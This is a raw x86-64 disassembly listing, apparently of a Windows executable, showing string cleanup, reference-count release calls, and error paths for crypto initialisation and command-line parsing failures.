mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14001814e
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018149
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184b7
call fcn.14004b39c
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140018199
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018194
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184b7
call fcn.14004b39c
lea rcx, [rbp + 0x3c0]
call fcn.14000f2f0
test rsi, rsi
je 0x1400181e0
mov eax, r13d
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x1400181e0
mov rbx, qword [rbp + 0x3b8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400181e0
mov rcx, qword [rbp + 0x3b8]
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, r13d
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x1400182be
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
lock xadd dword [r14 + 0xc], r13d
cmp r13d, 1
jne 0x1400182be
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
lea rcx, [rbp + 0x420]
call fcn.14000f2f0
mov rbx, qword [rbp + 0x418]
jmp 0x140018366
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 0x13
lea rdx, str.Init_crypto_failed_
lea rcx, [rsp + 0x30]
call fcn.1400034b0
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140018281
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140018281
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400182be
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400182b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184bd
call fcn.14004b39c
lea rcx, [rbp + 0x420]
call fcn.14000f2f0
mov rbx, qword [rbp + 0x418]
jmp 0x140018366
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 0x1d
lea rdx, str.Command_line_to_argvW_failed_
lea rcx, [rsp + 0x30]
call fcn.1400034b0
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140018329
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140018329
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140018366
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018361
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184c3
call fcn.14004b39c
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 8
jb 0x1400183ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400183a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018475
call fcn.14004b39c
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], 7
mov word [rbp + 0x3e0], r12w
cmp rbx, 8
jb 0x140018401
lea rdx, [rbx*2 + 2]
mov rcx, qword [rbp + 0x400]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400183fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018475
call fcn.14004b39c
mov rdx, qword [rbp + 0x4e0]
cmp rdx, 0x10
jb 0x14001843e
inc rdx
mov rcx, qword [rbp + 0x4c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018439
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018475
call fcn.14004b39c
xor eax, eax
mov rcx, qword [rbp + 0x670]
xor rcx, rsp
call fcn.14004afd0
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3
call fcn.14005275c
int3